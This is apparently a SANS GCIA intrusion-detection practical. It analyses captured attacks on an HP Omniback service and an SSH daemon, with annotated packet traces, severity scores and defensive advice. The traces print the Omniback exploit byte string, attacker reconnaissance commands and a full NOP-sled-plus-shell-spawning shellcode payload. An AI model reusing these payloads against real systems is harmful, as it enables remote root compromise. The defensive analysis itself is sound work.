Global Information Assurance Certification Paper

Jon Repaci

SANS Intrusion Detection Practical
SANS Cyber Defense Initiative East, Washington, DC

November 2001

GCIA Practical Assignment Version 3.0(August 2001)

January 31, 2002

Table of Contents:

==========

Describe the State of Intrusion Detection:

+ Analysis of the HP-UX Openview Omniback Buffer Overflow Exploit

1. Location of Exploit Source Code:

http://www.securiteam.com/exploits/6M00O150KG.html

Source of Network Trace:

IDS Dragon matching on the signature string "/bin/sh".
The attack packets and backdoor insertion were obtained and
it was then determined that the connections were hostile.

2. Description of attack:

This is a relatively quick buffer overflow that opens a socket from which system commands can be executed. The attacker thus gains control over the HP Openview Omniback backup software program, which is run as root.

I have tried to tie this to a CVE, but I don't think this is identified in mitre.org yet (http://cve.mitre.org/cve/):

CVE: CAN-1999-0333
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0333

This sounds like it might be the one, but the attack method involves spoofing,
which is not what is happening in the exploit code by Digit and the one seen in the trace.

Invoked on the command line: ./exploit <hostname>
The flow of the exploit is as follows:

a) A Check to see if a hostname greater than 1 character was provided. If not,
output the usage and exit.

b) It then opens a socket to the target host.

c) Once the socket has successfully be opened, the exploit writes the following
characters to the Omniback software program:

\000\000\000.2\000 a\000 0\000 0\000 0\000 A\000 28\000

followed by

/../../../bin/sh\000\000digit AAAA\n"

It is interesting to note that the most prevalent platform for this exploit would be HP-UX. The author hard codes an incorrect path to the Bourne shell for that platform. Was the author throwing a red flag for an IDS or was the last system tested a Linux box? The author indicates that he is a bit irritated as having to release the code due to "kids" obtaining it.

d) The program then announces that the exploit is successful and the attacker should commence typing in commands to be executed remotely through the socket.

e) The program then enters an infinite while loop until a command of no length or socket error is encountered. The maximum command length appears to be 1024 characters. Each command typed is formatted for transmission through the socket to the remote operating system by converting all the "\000" strings to empty characters.

3. Annotated TCPDUMP Network Trace (caught in the wild):

The first three packets appear to be the 3-way handshake:
(WHEN I WAS SANITIZING, I MISTAKENLY MASKED THE WRONG STRING,
BUT THAT'S OK, BETTER TO HAVE TOO MUCH MASKED THEN TOO LITTLE)

```
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: S
3168309252:3168309252(0) win 32120 <mss 1460,sackOK,timestamp 29856462
0,nop,wscale 0> (DF)
0x0000   4500 003c cace 4000 3606 d628 XXXX 2328        E..<..@.6..(BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 9004 0000 0000        ................
0x0020   a002 7d78 270d 0000 0204 05b4 0402 080a        ..}x'...........
0x0030   01c7 92ce 0000 0000 0103 0300                  ............
17:49:33.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: S
3689565076:3689565076(0) ack 3168309253 win 32768 <mss 1460,wscale
0,nop,nop,nop,timestamp 2298497 29856462> (DF)
0x0000   4500 003c db47 4000 3d06 beaf XXXX bd9f        E..<.G@.=.......
0x0010   XXXX 2328 15b3 0897 dbea 4b94 bcd8 9005        BF#(......K.....
0x0020   a012 8000 ee50 0000 0204 05b4 0303 0001        .....P..........
0x0030   0101 080a 0023 1281 01c7 92ce                  .....#......
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: . ack 1 win 32120
<nop,nop,timestamp 29856463 2298497> (DF)
0x0000   4500 0034 cacf 4000 3606 d62f XXXX 2328        E..4..@.6../BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 9005 dbea 4b95        ..............K.
0x0020   8010 7d78 1b9d 0000 0101 080a 01c7 92cf        ..}x............
0x0030   0023 1281                                      .#..
```

The next 7 packets are the buffer overflow plus the envocation of a shell "/../../../bin/sh", the printing of the exploit author's alias/signature: "digit" and "AAAA". This combined with the printed strings:
"2 a 0 0 0 A 28" (each character flanked by nulls) leaves no doubt that this exploit is the one referenced in the above URL.

```
-------------------------------------------------------------------------

17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 1:5(4) ack 1 win
32120 <nop,nop,timestamp 29856463 2298497> (DF)
0x0000   4500 0038 cad0 4000 3606 d62a XXXX 2328        E..8..@.6..*BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 9005 dbea 4b95        ..............K.
0x0020   8018 7d78 1b63 0000 0101 080a 01c7 92cf        ..}x.c..........
0x0030   0023 1281 0000 002e                            .#......
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 5:6(1) ack 1 win
32120 <nop,nop,timestamp 29856463 2298497> (DF)
0x0000   4500 0035 cad1 4000 3606 d62c XXXX 2328        E..5..@.6..,BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 9009 dbea 4b95        ..............K.
0x0020   8018 7d78 e98f 0000 0101 080a 01c7 92cf        ..}x............
0x0030   0023 1281 32                                   .#..2
17:49:33.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: . ack 6 win 32768
<nop,nop,timestamp 2298498 29856463> (DF)
0x0000   4500 0034 db48 4000 3d06 beb6XXXX bd9f        E..4.H@.=.......
0x0010    XXXX 2328 15b3 0897 dbea 4b95 bcd8 900a        BF#(......K.....
0x0020   8010 8000 190f 0000 0101 080a 0023 1282        .............#..
0x0030   01c7 92cf                                      ....
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 6:22(16) ack 1 win
32120 <nop,nop,timestamp 29856465 2298498> (DF)
0x0000   4500 0044 cad2 4000 3606 d61c XXXX 2328        E..D..@.6...BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 900a dbea 4b95        ..............K.
0x0020   8018 7d78 08bc 0000 0101 080a 01c7 92d1        ..}x............
0x0030   0023 1282 0020 6100 2030 0020 3000 2030        .#....a..0..0..0
0x0040   0020 4100                                      ..A.
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 22:38(16) ack 1
win 32120 <nop,nop,timestamp 29856465 2298498> (DF)
0x0000   4500 0044 cad3 4000 3606 d61b XXXX 2328        E..D..@.6...BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 901a dbea 4b95        ..............K.
0x0020   8018 7d78 77e8 0000 0101 080a 01c7 92d1        ..}xw...........
0x0030   0023 1282 2032 3800 2f2e 2e2f 2e2e 2f2e        .#...28./../../.
0x0040   2e2f 6269                                      ./bi
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 38:54(16) ack 1
win 32120 <nop,nop,timestamp 29856465 2298498> (DF)
0x0000   4500 0044 cad4 4000 3606 d61a XXXX 2328        E..D..@.6...BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 902a dbea 4b95        ...........*..K.
0x0020   8018 7d78 774f 0000 0101 080a 01c7 92d1        ..}xwO..........
0x0030   0023 1282 6e2f 7368 0000 6469 6769 7420        .#..n/sh..digit.
0x0040   4141 4141                                      AAAA
17:49:33.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: . ack 38 win 32768
<nop,nop,timestamp 2298499 29856465> (DF)
0x0000   4500 0034 db49 4000 3d06 beb5 XXXX bd9f        E..4.I@.=.......
0x0010    XXXX 2328 15b3 0897 dbea 4b95 bcd8 902a        BF#(......K....*
0x0020   8010 8000 18ec 0000 0101 080a 0023 1283        .............#..
0x0030   01c7 92d1                                      ....

-------------------------------------------------------------------------
The next 4 packets are used to test the connection as well as identify
the exploited user and type of host for the attacker: "uname -a; id; \r\n"
-------------------------------------------------------------------------
```

```
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 54:70(16) ack 1
win 32120 <nop,nop,timestamp 29856466 2298499> (DF)
0x0000   4500 0044 cad6 4000 3606 d618 XXXX 2328        E..D..@.6...BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 903a dbea 4b95        ..........:..K.
0x0020   8018 7d78 ebf0 0000 0101 080a 01c7 92d2        ..}x............
0x0030   0023 1283 0a00 2f62 696e 2f75 6e61 6d65        .#..../bin/uname
0x0040   202d 6120                                      .-a.
17:49:33.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: . ack 70 win 32768
<nop,nop,timestamp 2298501 29856465> (DF)
0x0000   4500 0034 db4a 4000 3d06 beb4 XXXX bd9f        E..4.J@.=.......
0x0010    XXXX 2328 15b3 0897 dbea 4b95 bcd8 904a        BF#(......K....J
0x0020   8010 8000 18ca 0000 0101 080a 0023 1285        .............#..
0x0030   01c7 92d1                                      ....
17:49:33.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 70:78(8) ack 1 win
32120 <nop,nop,timestamp 29856466 2298499> (DF)
0x0000   4500 003c cad7 4000 3606 d61f XXXX 2328        E..<..@.6...BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 904a dbea 4b95        ..........J..K.
0x0020   8018 7d78 4979 0000 0101 080a 01c7 92d2        ..}xIy..........
0x0030   0023 1283 3b20 6964 203b 0d0a                  .#..;.id.;..
17:49:33.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: . ack 78 win 32768
<nop,nop,timestamp 2298508 29856466> (DF)
0x0000     4500 0034 db4b 4000 3d06 beb3XXXX bd9f E..4.K@.=.......
0x0010     XXXX 2328 15b3 0897 dbea 4b95 bcd8 9052     BF#(......K....R
0x0020     8010 8000 18ba 0000 0101 080a 0023 128c     .............#..
0x0030     01c7 92d2                                   ....
```

Although not necessary, I'll display the target system's response packets to the commands issued: It appears that the Bourne shell could not be invoked in this attack (HP-UX has its bourne shell in /sbin/sh), but it did return the results of the "uname -a" and "id" commands.

```
17:49:34.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: P 1:55(54) ack 78
win 32768 <nop,nop,timestamp 2298561 29856466> (DF)
0x0000     4500 006a db4c 4000 3d06 be7cXXXX bd9f E..j.L@.=..|....
0x0010     XXXX 2328 15b3 0897 dbea 4b95 bcd8 9052     BF#(......K....R
0x0020     8018 8000 a8d1 0000 0101 080a 0023 12c1     .............#..
0x0030     01c7 92d2 0000 0032 3135 0020 0701 5b37     .......215....[7
0x0040     303a 3139 5d00 202e 2e2f 2e2e 2f2e 2e2f     0:19]..../../../
0x0050     6269 6e2f 7368 3a20 4141 413a 2020 6e6f     bin/sh:.AAA:..no
0x0060     7420 666f 756e 642e 0000                    t.found...
17:49:34.000000 66.70.35.40.2199 > MY.NET.189.159.5555: . ack 55 win 32120
<nop,nop,timestamp 29856527 2298561> (DF)
0x0000     4500 0034 cadf 4000 3606 d61f XXXX 2328     E..4..@.6...BF#(
0x0010    XXXX bd9f 0897 15b3 bcd8 9052 dbea 4bcb .....R..K.
0x0020     8010 7d78 1a9a 0000 0101 080a 01c7 930f     ..}x............
0x0030     0023 12c1                                   .#..
17:49:34.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: P 55:133(78) ack 78
win 32768 <nop,nop,timestamp 2298563 29856466> (DF)
0x0000     4500 0082 db4d 4000 3d06 be63XXXX bd9f E....M@.=..c....
0x0010     XXXX 2328 15b3 0897 dbea 4bcb bcd8 9052     BF#(......K....R
0x0020     8018 8000 5c02 0000 0101 080a 0023 12c3     ....\........#..
```

```
0x0030     01c7 92d2 0000 004a 3135 0020 0701 5b37     .......J15....[7
0x0040     303a 3139 5d00 2048 502d 5558 2063 6c61     0:19]..HP-UX.cla
0x0050     7373 3220 422e 3131 2e30 3020 4420 3930     ss2.B.11.00.D.90
0x0060     3030 2f38 3931 2033 3936 3330 3932 3231     00/891.396309221
0x0070     2036 342d 7573 6572 206c 6963 656e 7365     .64-user.license
0x0080     0000                                        ..
17:49:34.000000 66.70.35.40.2199 > MY.NET.189.159.5555: . ack 133 win 32120
<nop,nop,timestamp 29856532 2298563> (DF)
0x0000     4500 0034 cae2 4000 3606 d61c XXXX 2328     E..4..@.6...BF#(
0x0010    XXXX bd9f 0897 15b3 bcd8 9052 dbea 4c19 ..........R..L.
0x0020     8010 7d78 1a45 0000 0101 080a 01c7 9314     ..}x.E..........
0x0030     0023 12c3                                   .#..
17:49:34.000000 MY.NET.189.159.5555 > 66.70.35.40.2199: P 133:227(94) ack 78
win 32768 <nop,nop,timestamp 2298578 29856466> (DF)
0x0000     4500 0092 db4e 4000 3d06 be52XXXX bd9f E....N@.=..R....
0x0010     XXXX 2328 15b3 0897 dbea 4c19 bcd8 9052     BF#(......L....R
0x0020     8018 8000 2267 0000 0101 080a 0023 12d2     ....."g.......#..
0x0030     01c7 92d2 0000 005a 3135 0020 0701 5b37     .......Z15....[7
0x0040     303a 3139 5d00 2075 6964 3d30 2872 6f6f     0:19]..uid=0(roo
0x0050     7429 2067 6964 3d30 2872 6f6f 7429 2065     t).gid=0(root).e
0x0060     6769 643d 3328 7379 7329 2067 726f 7570     gid=3(sys).group
0x0070     733d 3428 6164 6d29 2c35 2864 6165 6d6f     s=4(adm),5(daemo
0x0080     6e29 2c36 286d 6169 6c29 2c37 286c 7029     n),6(mail),7(lp)
0x0090     0000                                        ..
```

This exploit then gives the attacker a virtual "shell" by sending subsequent typed commands through the open socket. The rest of this session that was logged by the IDS shows the attacker reading the /etc/hosts file before disconnecting. Later on the attacker returns from a different site to look at, then add an entry to, the password file. When he tests the account, the IDS picked up the fact that he received the system's legal warning banner. Good note for the law enforcement perspective.

To show that I'm not trying to pad my practical with network traces, I'll detail the remaining analysis in "Detect" format.

4. Source of Trace:

This attack was detected by an Intrusion Detection System running outside the firewall of my organization. This sensor is running the IDS software Dragon.

5. Detect was generated by:

This successful buffer overflow was detected by Dragon, matching on a simple rule looking for instances of the string "/bin/sh". The buffer overflow itself was not detected, but looking for what an attacker does next seems to have paid off in this case. Since there are rules for "uname -a" and "id" as well, any one of these strings would have netted this session.

6. Probability the source address was spoofed:

Given the relatively low probability of host level detection and the fact that this is a remote, root exploit, where the attacker wants to see the results, it is unlikely that this address is spoofed.

7. Description of the attack:

Attack against TCP port 5555 HP Omniback, this is a buffer overflow. The exploit used in this case was written by "digit". CVE #

8. Attack mechanism:

See above: 2. Description of attack

9. Correlations:

a. See if any other students a) use easy strings to catch their crooks and b) this particular exploit.
b. If anyone else has used this exploit, talk about their analysis.
c. If no one has talked about this exploit, find someone else who has on the web.

10. Evidence of active targeting:

It is known that this host was targeted after a previously identical compromise of a similar system was recently completed.

You can see the attacker trying to further his gain by obtaining more information about nearby systems, as was done in the previous compromise:

```
17:51:55.000000 66.70.35.40.2199 > MY.NET.189.159.5555: P 257:272(15) ack
1025 win 32120 <nop,nop,timestamp 29870657 2312299> (DF)
0x0000   4500 0043 e5c0 4000 3606 bb2f XXXX 2328        E..C..@.6../BF#(
0x0010   XXXX bd9f 0897 15b3 bcd8 9105 dbea 4f95        ..............O.
0x0020   8018 7d78 1090 0000 0101 080a 01c7 ca41        ..}x...........A
0x0030   0023 486b 6361 7420 2f65 7463 2f68 6f73        .#Hkcat./etc/hos
0x0040   7473 0a                                       ts.
```

11. Calculate severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

(4 + 4) - (2 + 4) = 2

Target Criticality:

Target is essentially a terminal workstation running in another building as a
convenience to the remaining staff during a large office move. This machine itself has a very low criticality, however, its security configuration made

it just as critical in terms of foot-holds as any other system, except a server.

This attack was extremely lethal to this system and the security policy of this
sub-organization. The exploit was relatively small, easy to implement, fast, and very successful for vulnerable, unpatched Omniback programs. Compounded by the fact that this machine is hardly monitored, its security policy denoted a sloppy and dangerous trust model. This machine was configured
to trust a number of other non-fully qualified hosts not local to its subnet.
It is likely that an attacker might assume that similar configurations may be
present on related machines, namely those found in the /etc/hosts and /.rhosts
files. Had this system not been detected by the IDS, it is highly likely that
this organizations critical resources would have been "owned" in a matter of days.

Attack Lethality:

This host was compromised with an exploit that was released in 12/2000. There are indications that this exploit has been in use since 1998. An alert
to the resurgance of this exploit was sent out 10 months prior shows that the
system staff were either not monitoring the alert list or not checking installed software against new alerts. Therefore, although the operating system was up on its patches, it is clear that the systems administrator was not paying attention to patches for network aware software packages. Therefore, this not too old, non-operating system specific exploit should have
been patched a long time ago but was probably missed because network aware software patches were not taken into consideration.

System Countermeasures:

Coupled with the fact that the security model should be best set in the water closet, the current system countermeasures leave a lot to be desired.

Network Countermeasures:

Since this attack was detected immediately with any one of three string matches, the network detection implemented by the center is working. However, given the fact that the sub-organization was not aware of, nor were they relying on, an intrusion detection system, some local network countermeasures are desired. At the minimum, router-level packet filtering should have at least been implemented to block local and administrative ports. The
fact that software was running on port 5555 does not excuse a network

administrator from blocking it. I have no problems with denied traffic retrying on other, high level ports.

12. Defensive recommendations:

Install local router-level packet filtering to block all locally used services. Create a database of all operating systems and network aware software packages and monitor for security alerts.

13. Multiple choice test question:

You have just set up your Intrusion Detection System and are considering rules for the system to match on. A new exploit as just come out with no IDS signature available. What should you do?

A. Wait for an exploit to happen, then obtain the signature from logged network traces.

B. Search the web for the exploit in hopes to generate a signature from found source code. Careful who you visit, though.

C. Put in some pattern matches to commands that you think an attacker might execute once an exploit is successful.

D. All of the above.

==========

Analyze This

+ Report

+ Process

Appendices

+ A: Answers to Multiple Choice Questions

1. Analysis of the HP-UX Openview Omniback Buffer Overflow Exploit
   Answer: D.
2. Detect 1 - SSHd CRC-32 Integer Overflow Exploit
   Answer: D.
3. Detect 2 - ICMP EEYE-RETINA Attack
   Answer: D.
4. Detect 3 - SetUID 0 Exploit
   Answer: D.
5. Detect 4 -
   Answer: D.
6. Detect 5 -
   Answer: D.

+ B: References

http://www.securiteam.com/exploits/6M00O150KG.html
http://cve.mitre.org/cve/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0333

+ Detect 1 - SSHd CRC-32 Integer Overflow Exploit

+ Detect 2 - ICMP EEYE-RETINA Scan Detect

+ Detect 3 - SetUID 0 Exploit Detect

+ Detect 4 - IIS-Code-Red-II.EXE Exploit Attempt

+ Detect 5 - IIS-UNICODE Exploit Attempt

==========

+ Detect 1 - SSHd CRC-32 Integer Overflow Exploit

1. Source of Trace:

This attack was detected by an Intrusion Detection System running outside the firewall of my organization. This sensor is running the IDS software Dragon.

2. Detect was generated by:

This successful buffer overflow was detected by Dragon, matching on a simple rule looking for instances of the string "/bin/sh".

```
04:00:08.000000 MY.NET.17.111.ssh > 209.151.249.42.1586: P 440:455(15) ack
102670 win 31856 <nop,nop,timestamp 5071611 514512553> (DF) [tos 0x10]
0x0000   4510 0043 1106 4000 3c06 d0b6XXXX 116f        E..C..@.<......o
0x0010   d197 f92a 0016 0632 b7d8 9715 9649 b3ef         ...*...2.....I..
0x0020   8018 7c70 6ada 0000 0101 080a 004d 62fb         ..|pj........Mb.
0x0030   1eaa d6a9 2f62 696e 2f73 683a 206b 730a         ..../bin/sh:.ks.
0x0040   6c73 0a                                        ls.
```

The SSHd exploit
itself was not detected, but looking for what an attacker does next seems to have paid off again. Since there are rules for outgoing IRC traffic and the string "adduser" as well, any one of these signatures would have netted this session.

We can see the hacker unpacking his rootkit through the exploited sshd and then setting an irc server:

```
.
.
.
05:10:48.000000 MY.NET.17.111.ssh > 209.151.249.42.3548: P 7809:7846(37) ack
102967 win 31856 <nop,nop,timestamp 5495583 514936502> (DF) [tos 0x10]
```

```
0x0000   4510 0059 333e 4000 3c06 ae68XXXX 116f        E..Y3>@.<..h...o
0x0010   d197 f92a 0016 0ddc b71a 8b57 9570 0d87        ...*.......W.p..
0x0020   8018 7c70 f9a8 0000 0101 080a 0053 db1f        ..|p.........S..
0x0030   1eb1 4eb6 2020 696e 666c 6174 696e 673a        ..N...inflating:
0x0040   2073 6869 7463 2f62 6c61 682f 632f 657a        .shitc/blah/c/ez
0x0050   626f 756e 6365 2020 20                         bounce...

05:16:46.000000 MY.NET.17.111.1065 > 207.96.122.252.ircd: P
3717635261:3717635333(72) ack 4147771864 win 32120 (DF)
0x0000   4500 0070 3580 4000 3c06 2c85 XXXX 116f        E..p5.@.<.,....o
0x0010   cf60 7afc 0429 1a0b dd96 9cbd f739 f9d8        .`z..).......9..
0x0020   5018 7d78 fb9b 0000 5553 4552 2068 7964        P.}x....USER.hyd
0x0030   726f 7968 6255 2022 2a90 2231 3738 2fe1        roxide."".".....
0x0040   3ab3 2e21 371e 3151 31c2 203a 4920 6578        .........".:I.ex
0x0050   6973 7420 6f6e 6c79 2074 6f20 6875 7274        ist.only.to.hurt
0x0060   2e0a 4e49 434b 203a 6d61 6c6b 6d61 6e0a        ..NICK.:malkman.
.
.
.
```

Fortunately, in this case, the /bin/sh string was shortly after the SSHd exploit and we've netted the exploit attack code as well. The signature for the SSHd exploit was then added the active signatures list. Here is a repeated section of the exploit that was used to generate the signature:

```
03:58:35.000000 209.151.249.42.1175 > MY.NET.17.111.ssh: P
101532:102576(1044) ack 304 win 32120 <nop,nop,timestamp 514503237 5062285>
(DF)
0x0000   4500 0448 8c1d 4000 3106 5caa d197 f92a        E..H..@.1.\....*
0x0010   XXXX 116f 0497 0016 9545 59dc b68d a8c4        ...o.....EY.....
0x0020   8018 7d78 07b0 0000 0101 080a 1eaa b245        ..}x..........E
0x0030   004d 3e8d 9090 9090 9090 9090 9090 9090        .M>.............
0x0040   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0050   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0060   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0070   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0080   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0090   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00d0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00e0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x00f0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0100   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0110   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0120   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0130   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0140   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0150   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0160   9090 9090 9090 9090 9090 9090 9090 9090        ................
```

```
0x0170   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0180   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0190   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01d0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01e0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x01f0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0200   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0210   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0220   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0230   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0240   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0250   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0260   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0270   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0280   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0290   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02d0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02e0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x02f0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0300   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0310   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0320   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0330   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0340   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0350   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0360   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0370   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0380   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x0390   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03a0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03b0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03c0   9090 9090 9090 9090 9090 9090 9090 9090        ................
0x03d0   31db b307 89e2 6a10 89e1 5152 68fe 0000        1.....j...QRh...
0x03e0   0089 e131 c0b0 66cd 80a8 ff74 0b5a f6c2        ...1..f....t.Z..
0x03f0   ff74 4efe ca52 ebeb 5b31 c9b1 03fe c931        .tN..R..[1.....1
0x0400   c0b0 3fcd 8067 e302 ebf3 6a04 6a00 6a12        ..?..g....j.j.j.
0x0410   6a01 53b8 6600 0000 bb0e 0000 0089 e1cd        j.S.f...........
0x0420   806a 006a 0068 2f73 6800 682f 6269 6e8d        .j.j.h/sh.h/bin.
0x0430   4c24 088d 5424 0c89 2189 e331 c0b0 0bcd        L$..T$..!..1....
0x0440   8031 c0fe c0cd 8000                            .1......
```

3. Probability the source address was spoofed:

The fact that this is a remote, root exploit, where the attacker wants to see
the results, it is unlikely that this address was spoofed.

4. Description of Attack:

This is an attack against TCP port 22 SSHd. It is an Integer Overflow Attack
against SSH version 1 Attack Detectors. CVE: CAN-2001-0144
found at the site:
http://razor.bindview.com/publish/advisories/adv_ssh1crc.html

5. Attack mechanism:

This attack begins with identifying the version of the ssh daemon that is running on the target host. Once a vulnerable version is identified, a stream of repeated initial characters and large stream of repeated NULLs is then sent to overflow the integer in the detect_attack function.

Here is a detailed description of the CRC-32 Integer Overflow Exploit, particularly the detect_attack routine that describes how the integer n gets overflowed (http://rr.sans.org/encryption/integer.php):

--------- SNIP -------------

Although n is declared as a 16-bit integer, it is later used in conjunction with 32-bit values, which leads the root of the problem.

```
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2);
     if (h == NULL) {
     debug("Installing crc compensation attack detector.");
     n = l;
     h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
}
```

As you can see in the code sample1 above, the loop control variable l is left-shifted at the end of each iteration. If the length of the buffer in the incoming packet (len, in this example) is sufficiently large, l will eventually grow to the value of 65536, which is just one bit larger than can be stored in the the 16-bit value n, as is shown inside the loop. This will cause the integer overflow, causing n to become 0. In the next line, a call to xmalloc() with an parameter effective parameter of 0 (after all, 0 * HASH_ENTRYSIZE always equals 0), will cause the variable h to become a valid pointer to a zero-length object within the program's namespace.

--------- SNIP -------------

A sample packet containing the integer overflow is displayed in point 4, from
above.

6. Correlations:

Although this vulnerability has been around since February 2001 and it's vulnerability understood very well since 1998

(http://www.sans.org/infosecFAQ/encryption/integer.htm), captures in the wild
rare. Exploits for this vulnerability weren't being reported until mid November 2001. I've already referenced a number of them above. I have not found another student's reference to this exploit, nor did I expect to since this is still relatively new and much harder to obtain.

Since then there has been quite a bit of web-based resources that talk about this exploit:

http://xforce.iss.net/alerts/advise100.php
http://www.kb.cert.org/vuls/id/945216
http://www.securiteam.com/securitynews/6U0010U35C.html

7. Evidence of active targeting:

It is known that this host was targeted after an initial ssh port scan went through this subnet. This attacker was in the right place at the right time because this was a laptop that had been powered off for some months and was only
brought online a day before.

8. Calculate severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

(2 + 5) - (2 + 4) = 1

Target Criticality:

Target is a Linux laptop that had been previously powered off for some months.
This machine itself has a very low criticality. Had this gone unnoticed, the
attacker might have very well taken advantage of his foothold in this .rhost prevalent subnet.

Although this attack generated a large volume of network traffic to implement,
this attack was extremely lethal to this system: vulnerable versions of sshd yield remote, root compromises.

Attack Lethality:

This host was compromised with a vulnerability that was identified in 02/2001.
There were indications that this exploit was been in use one month prior. An
alert to the detection of this exploit was sent out several weeks prior.

So, this was a very current exploit and the majority of machines on this network narrowly avoided similar fates by several weeks.

System Countermeasures:

The system was tcp wrapped, logged to a central logging host, and was set up by the local admin staff in a "safe" manner. However, it was rarely used, its software and patches were not the latest, and its variable network presence escaped network vulnerability assessment scans as well as the users memory.

Network Countermeasures:

The IRC traffic would have been detected by the local security administrator.
It was noted by a global security analyst. Although the ssh scans were detected by the local staff, the exploit itself was not. If the hacker had not blatantly put up an IRC server, he would have avoided local detection, but
not global detection ("/bin/sh" and "adduser" was caught). Given that the local staff do not rely on the global IDS, there's minimal credit for its presence in this calculation. Credit is applied for access lists on the router
and active monitoring of all denied and IRC traffic.

9. Defensive recommendations:

This highlights some of the dangers of Linux laptops that have a variable presence on the network. A global and local effort to identify and patch or upgrade all vulnerable versions of SSHd failed in this situation. One recommendation, since this is a repeat problem, is to implement frequent, local scans for when these variable network-aware machines are used on the network. This could be used, over time, to establish a version database so local administrators know at a moments notice which machines might be vulnerable to a particular exploit.

10. Multiple choice test question:

What are some good steps a Security Administrator can take to limit the risk of vulnerable machines.

A. Conduct frequent vulnerability assessment scans.

B. Maintain a database of IPs, Service versions, and patch histories.

C. Enforce a stated, strong, understood security policy that promotes centralization of security and system administration services, while at the same time creating an open, friendly enviroment for users to come to you when making decisions about offered services and system changes.

D. All of the above.

==========

+ Detect 2 - EEYE-RETINA Scan Detect

1. Source of Trace:

This attack was detected by an Intrusion Detection System running outside the firewall of my organization. This sensor is running the IDS software Dragon.

2. Detect was generated by:

This trace was detected by Dragon, looking for a signature for the NT version
of NMAP ported by eeye.com:
http://www.eeye.com/html/Research/Tools/nmapNT.html

Here's the network trace:

```
04:54:18.000000 80.13.221.84 > MY.NET.103.47: icmp: echo request
0x0000   4500 0040 1be1 0000 7501 1494 500d dd54        E..@....u...P..T
